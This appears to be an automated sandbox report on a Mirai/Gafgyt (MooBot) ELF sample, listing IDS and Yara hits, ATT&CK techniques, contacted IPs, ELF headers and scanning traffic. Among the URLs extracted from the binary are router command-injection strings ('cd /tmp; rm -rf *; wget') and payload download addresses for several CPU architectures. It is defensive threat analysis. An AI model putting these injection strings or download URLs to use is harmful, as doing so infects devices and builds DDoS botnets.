Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response

Yara detected Gafgyt

Source: Yara match	File source: I9k2Q7HKfO.elf, type: SAMPLE
Source: Yara match	File source: 6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: I9k2Q7HKfO.elf, type: SAMPLE
Source: Yara match	File source: 6311.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6260.1.00007fc51c011000.00007fc51c031000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Command and Scripting Interpreter	2 Scripting	Path Interception	2 File and Directory Permissions Modification	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
I9k2Q7HKfO.elf	66%	ReversingLabs	Linux.Trojan.Mirai
I9k2Q7HKfO.elf	57%	Virustotal		Browse
I9k2Q7HKfO.elf	100%	Avira	EXP/ELF.Mirai.Z.A

Source	Detection	Scanner	Label	Link
http://purenetworks.com/HNAP1/	0%	URL Reputation	safe
http://109.205.214.35/arm7;chmod	0%	Avira URL Cloud	safe
http://127.0.0.1:80/tmUnblock.cgi	0%	Avira URL Cloud	safe
http://109.205.214.35/mips	100%	Avira URL Cloud	malware
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Avira URL Cloud	safe
http://109.205.214.35/x86	100%	Avira URL Cloud	malware
http://109.205.214.35/arm7;chmod	2%	Virustotal		Browse
http://127.0.0.1:80/tmUnblock.cgi	0%	Virustotal		Browse
http://109.205.214.35/mips	8%	Virustotal		Browse
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	0%	Virustotal		Browse
http://109.205.214.35/x86	13%	Virustotal		Browse
http://127.0.0.1/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe
http://127.0.0.1/cgi-bin/ViewLog.asp	1%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://109.205.214.35/mpsl;chmod	0%	Avira URL Cloud	safe
http://127.0.0.1:7547/UD/act?1	0%	Avira URL Cloud	safe
http://109.205.214.35/mips;	100%	Avira URL Cloud	malware
http://109.205.214.35/mpsl;chmod	1%	Virustotal		Browse
http://109.205.214.35/mips;	2%	Virustotal		Browse
http://127.0.0.1:7547/UD/act?1	1%	Virustotal		Browse
http://127.0.0.1:52869/wanipcn.xml	1%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/tmUnblock.cgi	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1/cgi-bin/ViewLog.asp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/picdesc.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:7547/UD/act?1	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://109.205.214.35/arm7;chmod	I9k2Q7HKfO.elf	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://109.205.214.35/mips	I9k2Q7HKfO.elf	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://109.205.214.35/x86	I9k2Q7HKfO.elf	false	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	I9k2Q7HKfO.elf	false		high
http://purenetworks.com/HNAP1/	I9k2Q7HKfO.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	I9k2Q7HKfO.elf	false		high
http://109.205.214.35/mpsl;chmod	I9k2Q7HKfO.elf	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://109.205.214.35/mips;	I9k2Q7HKfO.elf	false	2%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
133.47.168.181	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
186.231.126.227	unknown	Brazil	26615	TIMSABR	false
213.60.124.239	unknown	Spain	12334	Galicia-SpainES	false
101.228.105.185	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
121.238.137.189	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
62.105.89.57	unknown	United Kingdom	5413	AS5413GB	false
12.114.178.26	unknown	United States	7018	ATT-INTERNET4US	false
86.222.195.159	unknown	France	3215	FranceTelecom-OrangeFR	false
209.217.2.36	unknown	United States	7258	CATALOG-AS7258US	false
184.31.203.187	unknown	United States	16625	AKAMAI-ASUS	false
213.246.247.203	unknown	Belgium	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
92.36.229.115	unknown	Bosnia and Herzegowina	9146	BIHNETBIHNETAutonomusSystemBA	false
178.147.7.206	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
78.30.37.144	unknown	Spain	15704	AS15704ES	false
172.96.116.48	unknown	United States	21859	ZNETUS	false
181.61.167.22	unknown	Colombia	10620	TelmexColombiaSACO	false
37.72.21.200	unknown	Spain	199482	SANGANET-ASES	false
42.7.180.44	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
178.81.128.74	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
212.219.99.184	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
169.26.51.254	unknown	United States	37611	AfrihostZA	false
197.55.123.219	unknown	Egypt	8452	TE-ASTE-ASEG	false
201.150.134.151	unknown	Mexico	28539	CreatividadInternetEnlacesSAdeCVMX	false
159.180.150.203	unknown	United Kingdom	62763	ABBVIEUS	false
2.107.96.246	unknown	Denmark	3292	TDCTDCASDK	false
178.183.111.123	unknown	Poland	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
83.56.195.33	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
189.185.249.252	unknown	Mexico	8151	UninetSAdeCVMX	false
62.132.193.111	unknown	Germany	286	KPNNL	false
206.105.88.10	unknown	United States	3816	COLOMBIATELECOMUNICACIONESSAESPCO	false
184.202.247.245	unknown	United States	10507	SPCSUS	false
98.202.3.83	unknown	United States	7922	COMCAST-7922US	false
150.217.3.112	unknown	Italy	137	ASGARRConsortiumGARREU	false
186.221.202.6	unknown	Brazil	28573	CLAROSABR	false
126.10.188.213	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
181.116.24.101	unknown	Argentina	11664	TechtelLMDSComunicacionesInteractivasSAAR	false
85.97.99.147	unknown	Turkey	9121	TTNETTR	false
62.132.193.118	unknown	Germany	286	KPNNL	false
161.196.52.224	unknown	Venezuela	8048	CANTVServiciosVenezuelaVE	false
19.42.157.68	unknown	United States	3	MIT-GATEWAYSUS	false
62.1.242.61	unknown	Greece	1241	FORTHNET-GRForthnetEU	false
164.248.208.223	unknown	United States	5972	DNIC-ASBLK-05800-06055US	false
181.74.231.147	unknown	Chile	6535	TelmexServiciosEmpresarialesSACL	false
98.102.147.244	unknown	United States	10796	TWC-10796-MIDWESTUS	false
181.177.244.161	unknown	Peru	27843	OPTICALTECHNOLOGIESSACPE	false
141.51.92.234	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
184.37.225.200	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
62.92.203.140	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
213.167.30.173	unknown	Bulgaria	28909	BG-TVSAT-ASBG	false
154.0.8.25	unknown	South Africa	37680	COOL-IDEASZA	false
141.127.33.172	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
123.101.176.89	unknown	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false
12.202.107.72	unknown	United States	22983	FISERV-INCUS	false
200.56.99.214	unknown	Mexico	8151	UninetSAdeCVMX	false
156.71.93.247	unknown	United States	297	AS297US	false
189.181.178.52	unknown	Mexico	8151	UninetSAdeCVMX	false
189.158.37.143	unknown	Mexico	8151	UninetSAdeCVMX	false
184.196.87.193	unknown	United States	10507	SPCSUS	false
172.126.245.224	unknown	United States	7018	ATT-INTERNET4US	false
82.235.175.195	unknown	France	12322	PROXADFR	false
181.45.174.181	unknown	Argentina	27747	TelecentroSAAR	false
62.105.89.75	unknown	United Kingdom	5413	AS5413GB	false
86.212.239.88	unknown	France	3215	FranceTelecom-OrangeFR	false
213.199.213.225	unknown	Poland	25070	COMARCH-ASPL	false
112.105.248.176	unknown	Taiwan; Republic of China (ROC)	4780	SEEDNETDigitalUnitedIncTW	false
98.101.210.199	unknown	United States	11426	TWC-11426-CAROLINASUS	false
98.117.62.42	unknown	United States	701	UUNETUS	false
98.211.40.144	unknown	United States	7922	COMCAST-7922US	false
172.32.220.45	unknown	United States	21928	T-MOBILE-AS21928US	false
178.212.27.61	unknown	Poland	197186	PRESTIZ-SC-POLANDPL	false
62.153.69.190	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
119.9.55.104	unknown	Hong Kong	58683	RACKSPACE-ASRackspacecomSydneyHK	false
201.41.57.98	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
124.224.23.143	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
72.240.195.220	unknown	United States	13490	BUCKEYECABLEVISIONUS	false
98.198.78.51	unknown	United States	7922	COMCAST-7922US	false
148.15.121.101	unknown	United States	394673	9408US	false
82.147.174.244	unknown	Estonia	8728	InfonetEE	false
101.27.113.84	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
62.245.191.239	unknown	Germany	8767	MNET-ASGermanyDE	false
181.180.20.110	unknown	Venezuela	262210	VIETTELPERUSACPE	false
184.101.34.208	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
172.44.154.204	unknown	United States	21928	T-MOBILE-AS21928US	false
172.203.49.219	unknown	United States	18747	IFX18747US	false
178.16.55.198	unknown	Germany	40999	DUSNET-ASDE	false
201.181.242.152	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
197.76.64.246	unknown	South Africa	16637	MTNNS-ASZA	false
83.61.145.132	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
188.186.188.210	unknown	Russian Federation	41682	ERTH-TMN-ASRU	false
32.79.117.59	unknown	United States	2686	ATGS-MMD-ASUS	false
38.219.169.121	unknown	United States	174	COGENT-174US	false
97.96.217.244	unknown	United States	33363	BHN-33363US	false
83.240.195.252	unknown	Portugal	15525	MEO-EMPRESASPT	false
210.247.141.246	unknown	Australia	7496	WEBCENTRAL-ASWebCentralAU	false
181.74.231.170	unknown	Chile	6535	TelmexServiciosEmpresarialesSACL	false
110.163.194.89	unknown	Japan	9605	DOCOMONTTDOCOMOINCJP	false
210.117.124.133	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
175.44.144.185	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
34.78.30.135	unknown	United States	15169	GOOGLEUS	false
170.144.44.187	unknown	United States	4152	USDA-1US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
213.60.124.239	VRx86.elf	Get hash	malicious	Mirai	Browse
101.228.105.185	L1Ei328F7y.elf	Get hash	malicious	Mirai	Browse
62.105.89.57	0xZU1uLFYs	Get hash	malicious	Mirai	Browse
62.105.89.57	TPbt74lx6J	Get hash	malicious	Mirai	Browse
213.246.247.203	SecuriteInfo.com.Linux.Siggen.9999.22201.31614.elf	Get hash	malicious	Mirai	Browse
213.246.247.203	home.arm7	Get hash	malicious	Mirai	Browse
92.36.229.115	UX1Kgk69dt.elf	Get hash	malicious	Unknown	Browse
92.36.229.115	OYUn5FzAW3	Get hash	malicious	Mirai	Browse
178.147.7.206	home.arm7	Get hash	malicious	Mirai	Browse
178.147.7.206	QmRD3TL34p	Get hash	malicious	Mirai	Browse
78.30.37.144	1isequal9.mpsl	Get hash	malicious	Mirai	Browse
172.96.116.48	nFQrAIp1Ow	Get hash	malicious	Mirai	Browse
	mePdwRl30N	Get hash	malicious	Mirai	Browse
	uUpqGiyGAn	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TIMSABR	LmRWdFDFaQ.elf	Get hash	malicious	Mirai, Gafgyt	Browse	187.99.167.203
	pu8ZPF7c37.elf	Get hash	malicious	Mirai	Browse	179.249.189.163
	qCc1a4w5YZ.exe	Get hash	malicious	Wannacry	Browse	191.229.51.95
	yzIY5KFJSu.elf	Get hash	malicious	Mirai	Browse	179.205.145.31
	o7EitOEfWr.elf	Get hash	malicious	Unknown	Browse	191.228.12.1
	bzVCvtoyIt.elf	Get hash	malicious	Mirai	Browse	179.204.13.180
	PD1Afd15RS.elf	Get hash	malicious	Mirai	Browse	179.73.155.174
	usCv5xTgmC.elf	Get hash	malicious	Unknown	Browse	191.48.206.232
	uA97EyP1li.elf	Get hash	malicious	Mirai	Browse	191.135.93.65
	kt46zhUGCl.elf	Get hash	malicious	Mirai	Browse	191.230.86.78
Galicia-SpainES	05w3hcoTlb.elf	Get hash	malicious	Mirai	Browse	213.60.172.124
	qWLVwpwiVS.elf	Get hash	malicious	Unknown	Browse	213.60.124.250
	oUMhUiwKh5.elf	Get hash	malicious	Unknown	Browse	91.117.7.119
	U6d2xCNMT4.elf	Get hash	malicious	Mirai	Browse	178.60.249.93
	TzYWkBAZFE.elf	Get hash	malicious	Mirai	Browse	91.117.146.187
	ZWkOIiq5ku.elf	Get hash	malicious	Mirai	Browse	91.117.89.103
	7SnYpUQnqs.elf	Get hash	malicious	Mirai	Browse	91.117.30.28
	90kX6zgi5h.elf	Get hash	malicious	Mirai	Browse	213.60.85.237
	4J8MjfJo3m.elf	Get hash	malicious	Mirai	Browse	213.60.124.245
	ObUU1dYiZQ.elf	Get hash	malicious	Mirai	Browse	91.117.30.49
SINET-ASResearchOrganizationofInformationandSystemsN	bIHCEUuP4x.elf	Get hash	malicious	Mirai, Gafgyt	Browse	133.47.168.157
	d0iDboIDfK.elf	Get hash	malicious	Mirai	Browse	157.105.247.169
	aZ2aPoW85W.elf	Get hash	malicious	Mirai	Browse	157.105.247.149
	bgj2URl5B2.elf	Get hash	malicious	Mirai, Okiru	Browse	157.6.53.138
	5nurcxaD72.elf	Get hash	malicious	Mirai, Okiru	Browse	133.59.118.196
	huhu.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	157.105.195.227
	huhu.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	157.6.233.111
	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	157.17.14.97
	huhu.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	157.17.166.112
	7InjeWQVHC.elf	Get hash	malicious	Unknown	Browse	202.231.46.225
CHINANET-SH-APChinaTelecomGroupCN	FXG9nMntu5.elf	Get hash	malicious	Mirai	Browse	101.84.169.85
	hyWl33Q2OI.elf	Get hash	malicious	Unknown	Browse	116.235.137.193
	7yboxvX8mm.elf	Get hash	malicious	Unknown	Browse	106.75.228.219
	1xGvWmAmvc.elf	Get hash	malicious	Unknown	Browse	101.231.123.132
	QGN4hQprkC.elf	Get hash	malicious	Mirai	Browse	180.173.10.155
	RpjE7NostK.elf	Get hash	malicious	Mirai	Browse	175.102.171.112
	ZSlkj38Qce.elf	Get hash	malicious	Mirai	Browse	114.83.221.209
	https://www.yunfuchu.cn/IP:	Get hash	malicious	Unknown	Browse	61.170.79.233
	https://dzdbmqcs.dynv6.net/IP:	Get hash	malicious	Unknown	Browse	61.170.77.228
	https://www.tvrur.cn/IP:	Get hash	malicious	Unknown	Browse	61.170.79.235
CHINANET-BACKBONENo31Jin-rongStreetCN	AMjH2Tev6H.elf	Get hash	malicious	Mirai, Gafgyt	Browse	117.91.40.62
	bIHCEUuP4x.elf	Get hash	malicious	Mirai, Gafgyt	Browse	101.249.131.78
	https://clicktime.cloud.postoffice.net/clicktime.php?U=https%3A%2F%2Fflow.page%2Flaapc.com&E=lsearls%40greenvillefederal.com&X=XID976CcmutV8822Xd1&T=GRVL&HV=U,E,X,T&H=6acb6b0f801dcfb84f976bb40254b4048a229c2b	Get hash	malicious	Unknown	Browse	63.140.39.117
	u2iqzwvdmM.elf	Get hash	malicious	Mirai	Browse	220.161.144.68
	pu8ZPF7c37.elf	Get hash	malicious	Mirai	Browse	112.112.149.19
	zJO55iLN3G.elf	Get hash	malicious	Unknown	Browse	118.249.242.156
	FXG9nMntu5.elf	Get hash	malicious	Mirai	Browse	123.246.149.214
	https://19marmic22.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	63.140.38.55
	https://19marmic17.z13.web.core.windows.net/	Get hash	malicious	TechSupportScam	Browse	63.140.38.111
	https://usg02.safelinks.protection.office365.us/?url=https%3A%2F%2Fmanage.kmail-lists.com%2Fsubscriptions%2Fsubscribe%2Fupdate%3Fc%3D01H0G3BVA5P4WT38NKH3DY6QEB%26a%3DWkVYqE%26p%3DeyJUaWNrZXRfb3B0IGluIjogIlllcyJ9%26k%3D53b9cf0c5602fbaff2d592c0e9b9058a%26r%3Despinosaservice.com%252F%2540%252F%255BEMail_DomainPart%255D%252Faccounting%40pathfinderdigital.com&data=05%7C02%7CNMcGarrahan%40pathfinderdigital.com%7C903872b9b9cc449dfef508dc4845c5c1%7C813a3e9ab29642b78f03f22116692cfa%7C0%7C0%7C638464711720080201%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C4000%7C%7C%7C&sdata=BOjy5sm4bzmkHIsqf%2Fc8stMovF8WOyOkSs2a%2Fn5%2BVuY%3D&reserved=0	Get hash	malicious	HTMLPhisher	Browse	63.140.39.15

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.242838205612278
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	I9k2Q7HKfO.elf
File size:	132'544 bytes
MD5:	0b68ed4bde3aaebab1f1969095a8c625
SHA1:	d30ea051dd1add90513328c769eddddf8c7d1f66
SHA256:	18cc65037bb563911670c613817a9d7227976f977493d3e94d847b3fadf999fd
SHA512:	7fb99cf564407634840e09b0c51f890de2218ab4fb89082927079fd33417f8a2a9b9c0547ff0e75aefa2ebfa2c27963aa837fdeeb235f189ef3315696eb6d78e
SSDEEP:	1536:z5ffzazHELsWVT1VhHTYkQt5DwdovZ6lQIcLzGg90IhKEntQL3e75JtGs945R4j2:tznthT1ehwdovsiv0InU3eVmuj2
TLSH:	68D34B36ADB52E67C1C594BA01B74371B1F257C931E88A1E7EF00D1DEF68A603027A69
File Content Preview:	.ELF...........................4...0.....4. ...(..........................................................*.........dt.Q................................@..(....@.n1................#.....c...`.....!..... ...@.....".........`......$ ... ...@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	132144
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x1b8fc	0x0	0x6	AX	4
.fini	PROGBITS	0x2b9ac	0x1b9ac	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x2b9c0	0x1b9c0	0x4050	0x0	0x2	A	8
.ctors	PROGBITS	0x30000	0x20000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x30008	0x20008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x30018	0x20018	0x3d8	0x0	0x3	WA	8
.bss	NOBITS	0x303f0	0x203f0	0x2628	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x203f0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x1fa10	0x1fa10	6.3044	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x20000	0x30000	0x30000	0x3f0	0x2a18	2.5918	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/21/24-05:16:59.455837	TCP	2030489	ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response	65535	44844	109.205.214.35	192.168.2.23
03/21/24-05:16:53.140470	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	44844	65535	192.168.2.23	109.205.214.35

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 21, 2024 05:16:52.838936090 CET	29341	37215	192.168.2.23	197.154.31.51
Mar 21, 2024 05:16:52.838974953 CET	29341	37215	192.168.2.23	197.196.167.51
Mar 21, 2024 05:16:52.839003086 CET	29341	37215	192.168.2.23	197.243.226.119
Mar 21, 2024 05:16:52.839015961 CET	29341	37215	192.168.2.23	197.240.35.51
Mar 21, 2024 05:16:52.839046955 CET	29341	37215	192.168.2.23	197.207.207.133
Mar 21, 2024 05:16:52.839056969 CET	29341	37215	192.168.2.23	197.165.122.216
Mar 21, 2024 05:16:52.839066029 CET	29341	37215	192.168.2.23	197.68.214.38
Mar 21, 2024 05:16:52.839096069 CET	29341	37215	192.168.2.23	197.115.121.109
Mar 21, 2024 05:16:52.839103937 CET	29341	37215	192.168.2.23	197.237.130.150
Mar 21, 2024 05:16:52.839112997 CET	29341	37215	192.168.2.23	197.227.6.57
Mar 21, 2024 05:16:52.839133024 CET	29341	37215	192.168.2.23	197.125.245.166
Mar 21, 2024 05:16:52.839145899 CET	29341	37215	192.168.2.23	197.84.164.21
Mar 21, 2024 05:16:52.839173079 CET	29341	37215	192.168.2.23	197.80.22.120
Mar 21, 2024 05:16:52.839190006 CET	29341	37215	192.168.2.23	197.101.228.85
Mar 21, 2024 05:16:52.839209080 CET	29341	37215	192.168.2.23	197.169.33.38
Mar 21, 2024 05:16:52.839215994 CET	29341	37215	192.168.2.23	197.39.227.4
Mar 21, 2024 05:16:52.839235067 CET	29341	37215	192.168.2.23	197.143.77.33
Mar 21, 2024 05:16:52.839255095 CET	29341	37215	192.168.2.23	197.194.173.140
Mar 21, 2024 05:16:52.839329958 CET	29341	37215	192.168.2.23	197.46.29.159
Mar 21, 2024 05:16:52.839342117 CET	29341	37215	192.168.2.23	197.16.129.154
Mar 21, 2024 05:16:52.839359999 CET	29341	37215	192.168.2.23	197.239.119.52
Mar 21, 2024 05:16:52.839385033 CET	29341	37215	192.168.2.23	197.159.92.15
Mar 21, 2024 05:16:52.839404106 CET	29341	37215	192.168.2.23	197.81.228.31
Mar 21, 2024 05:16:52.839432955 CET	29341	37215	192.168.2.23	197.16.196.44
Mar 21, 2024 05:16:52.839452028 CET	29341	37215	192.168.2.23	197.226.172.172
Mar 21, 2024 05:16:52.839485884 CET	29341	37215	192.168.2.23	197.133.31.244
Mar 21, 2024 05:16:52.839524031 CET	29341	37215	192.168.2.23	197.28.151.183
Mar 21, 2024 05:16:52.839550018 CET	29341	37215	192.168.2.23	197.227.47.28
Mar 21, 2024 05:16:52.839603901 CET	29341	37215	192.168.2.23	197.248.48.159
Mar 21, 2024 05:16:52.839617014 CET	29341	37215	192.168.2.23	197.119.231.53
Mar 21, 2024 05:16:52.839637041 CET	29341	37215	192.168.2.23	197.228.173.196
Mar 21, 2024 05:16:52.839657068 CET	29341	37215	192.168.2.23	197.110.56.134
Mar 21, 2024 05:16:52.839677095 CET	29341	37215	192.168.2.23	197.140.190.79
Mar 21, 2024 05:16:52.839690924 CET	29341	37215	192.168.2.23	197.71.137.204
Mar 21, 2024 05:16:52.839725018 CET	29341	37215	192.168.2.23	197.175.215.130
Mar 21, 2024 05:16:52.839754105 CET	29341	37215	192.168.2.23	197.185.134.9
Mar 21, 2024 05:16:52.839802027 CET	29341	37215	192.168.2.23	197.228.71.139
Mar 21, 2024 05:16:52.839824915 CET	29341	37215	192.168.2.23	197.1.105.33
Mar 21, 2024 05:16:52.839838028 CET	29341	37215	192.168.2.23	197.40.181.55
Mar 21, 2024 05:16:52.839854956 CET	29341	37215	192.168.2.23	197.37.187.168
Mar 21, 2024 05:16:52.839871883 CET	29341	37215	192.168.2.23	197.82.91.105
Mar 21, 2024 05:16:52.839903116 CET	29341	37215	192.168.2.23	197.61.182.7
Mar 21, 2024 05:16:52.839920044 CET	29341	37215	192.168.2.23	197.168.104.202
Mar 21, 2024 05:16:52.839929104 CET	29341	37215	192.168.2.23	197.169.234.165
Mar 21, 2024 05:16:52.839946032 CET	29341	37215	192.168.2.23	197.140.189.255
Mar 21, 2024 05:16:52.839971066 CET	29341	37215	192.168.2.23	197.151.1.124
Mar 21, 2024 05:16:52.839984894 CET	29341	37215	192.168.2.23	197.168.160.224
Mar 21, 2024 05:16:52.839999914 CET	29341	37215	192.168.2.23	197.62.3.149
Mar 21, 2024 05:16:52.840012074 CET	29341	37215	192.168.2.23	197.253.19.209
Mar 21, 2024 05:16:52.840033054 CET	29341	37215	192.168.2.23	197.226.114.251
Mar 21, 2024 05:16:52.840049982 CET	29341	37215	192.168.2.23	197.143.73.35
Mar 21, 2024 05:16:52.840066910 CET	29341	37215	192.168.2.23	197.205.26.74
Mar 21, 2024 05:16:52.840085030 CET	29341	37215	192.168.2.23	197.40.147.172
Mar 21, 2024 05:16:52.840101004 CET	29341	37215	192.168.2.23	197.179.100.148
Mar 21, 2024 05:16:52.840125084 CET	29341	37215	192.168.2.23	197.133.109.84
Mar 21, 2024 05:16:52.840142012 CET	29341	37215	192.168.2.23	197.127.95.105
Mar 21, 2024 05:16:52.840156078 CET	29341	37215	192.168.2.23	197.170.202.243
Mar 21, 2024 05:16:52.840174913 CET	29341	37215	192.168.2.23	197.236.188.176
Mar 21, 2024 05:16:52.840190887 CET	29341	37215	192.168.2.23	197.61.216.74
Mar 21, 2024 05:16:52.840210915 CET	29341	37215	192.168.2.23	197.105.48.87
Mar 21, 2024 05:16:52.840234995 CET	29341	37215	192.168.2.23	197.145.226.57
Mar 21, 2024 05:16:52.840246916 CET	29341	37215	192.168.2.23	197.25.150.74
Mar 21, 2024 05:16:52.840270996 CET	29341	37215	192.168.2.23	197.163.104.255
Mar 21, 2024 05:16:52.840289116 CET	29341	37215	192.168.2.23	197.99.28.44
Mar 21, 2024 05:16:52.840316057 CET	29341	37215	192.168.2.23	197.156.182.108
Mar 21, 2024 05:16:52.840331078 CET	29341	37215	192.168.2.23	197.207.164.130
Mar 21, 2024 05:16:52.840349913 CET	29341	37215	192.168.2.23	197.237.137.98
Mar 21, 2024 05:16:52.840363979 CET	29341	37215	192.168.2.23	197.90.160.228
